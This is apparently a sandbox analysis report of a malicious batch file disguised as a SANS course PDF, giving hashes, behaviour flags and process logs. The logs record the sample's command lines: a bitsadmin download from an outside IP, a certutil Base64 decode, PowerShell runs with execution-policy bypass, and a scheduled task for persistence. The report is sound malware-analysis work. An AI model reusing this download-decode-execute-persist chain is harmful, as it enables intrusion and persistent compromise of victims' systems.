File name:

SANS SEC401.pdf .cmd

Full analysis: https://app.any.run/tasks/ed4282c3-c0ed-493c-9a55-91eaa1ed439d
Verdict: Malicious activity
Analysis date: February 19, 2024, 15:18:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with very long lines (5361), with no line terminators
MD5:

74900DD2A29CD5EEBCC259F0265C8425

SHA1:

0760D0C2F9FB94F471BC1E4F71A5CA9288D33467

SHA256:

5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D

SSDEEP:

96:ul+77vtyaJWSUIG51PC2zaI5Zy5aj9rJ3l/uMkFF05lkcarW/QmA7ao5hUXhUQJH:WU7vtyMxe1P73ZyYsRcEoJ4q

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  • MALICIOUS

    • Downloads files via BITSADMIN.EXE

      • cmd.exe (PID: 2328)
    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2064)
      • powershell.exe (PID: 2244)
    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 1496)
      • cmd.exe (PID: 2484)
  • SUSPICIOUS

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 1496)
      • cmd.exe (PID: 2484)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1496)
      • cmd.exe (PID: 2484)
    • Decoding a file from Base64 using CertUtil

      • cmd.exe (PID: 2328)
    • The process executes Powershell scripts

      • cmd.exe (PID: 1496)
      • cmd.exe (PID: 2484)
    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 2328)
    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2328)
    • Application launched itself

      • cmd.exe (PID: 2328)
  • INFO

    • Manual execution by a user

      • cmd.exe (PID: 2328)
      • taskmgr.exe (PID: 1900)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
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Total processes
53
Monitored processes
11
Malicious processes
1
Suspicious processes
2

Behavior graph

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start notepad.exe no specs cmd.exe bitsadmin.exe no specs certutil.exe no specs cmd.exe no specs powershell.exe no specs schtasks.exe no specs timeout.exe no specs taskmgr.exe no specs cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1384"C:\Windows\system32\NOTEPAD.EXE" "C:\Users\admin\Desktop\SANS SEC401.pdf .cmd.txt"C:\Windows\System32\notepad.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1496cmd /c "powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1"C:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1900"C:\Windows\system32\taskmgr.exe" /4C:\Windows\System32\taskmgr.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Task Manager
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskmgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2064powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2156schtasks /create /sc minute /mo 3 /tn "whoisthebaba" /tr C:\Windows\Temp\run.bat /RL HIGHESTC:\Windows\System32\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2244powershell -NOP -EP Bypass C:\Windows\Temp\Eventlogs.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2328"C:\Windows\System32\cmd.exe" /C "C:\Users\admin\Desktop\SANS SEC401.pdf .cmd" C:\Windows\System32\cmd.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2484cmd /c "powershell -NOP -EP Bypass C:\Windows\Temp\Eventlogs.ps1"C:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3180certutil -decode amanwhogetsnorest.jpg normal.zip C:\Windows\System32\certutil.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
2147942402
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\certcli.dll
c:\windows\system32\atl.dll
3212bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpgC:\Windows\System32\bitsadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
BITS administration utility
Exit code:
3221225786
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
Total events
3 631
Read events
3 631
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
5
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
2244powershell.exeC:\Users\admin\AppData\Local\Temp\ti15vmce.pvt.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2064powershell.exeC:\Users\admin\AppData\Local\Temp\gne1e2pu.ute.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2064powershell.exeC:\Users\admin\AppData\Local\Temp\ivfcfaxt.nmn.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2244powershell.exeC:\Users\admin\AppData\Local\Temp\04znwnyc.sxe.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2328cmd.exeC:\Windows\Temp\z.ps1text
MD5:6D7FDB60EC6FD42855650734FA70BC50
SHA256:8B0825607C1EED686C1AC68F721C143A000CA826859772744F19415D0C3FF3B2
2064powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
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HTTP(S) requests
0
TCP/UDP connections
7
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
4
System
192.168.100.255:138
whitelisted
1080
svchost.exe
224.0.0.252:5355
unknown
4008
svchost.exe
239.255.255.250:1900
unknown
856
svchost.exe
172.18.35.10:8000
unknown

DNS requests

No data

Threats

No threats detected
No debug info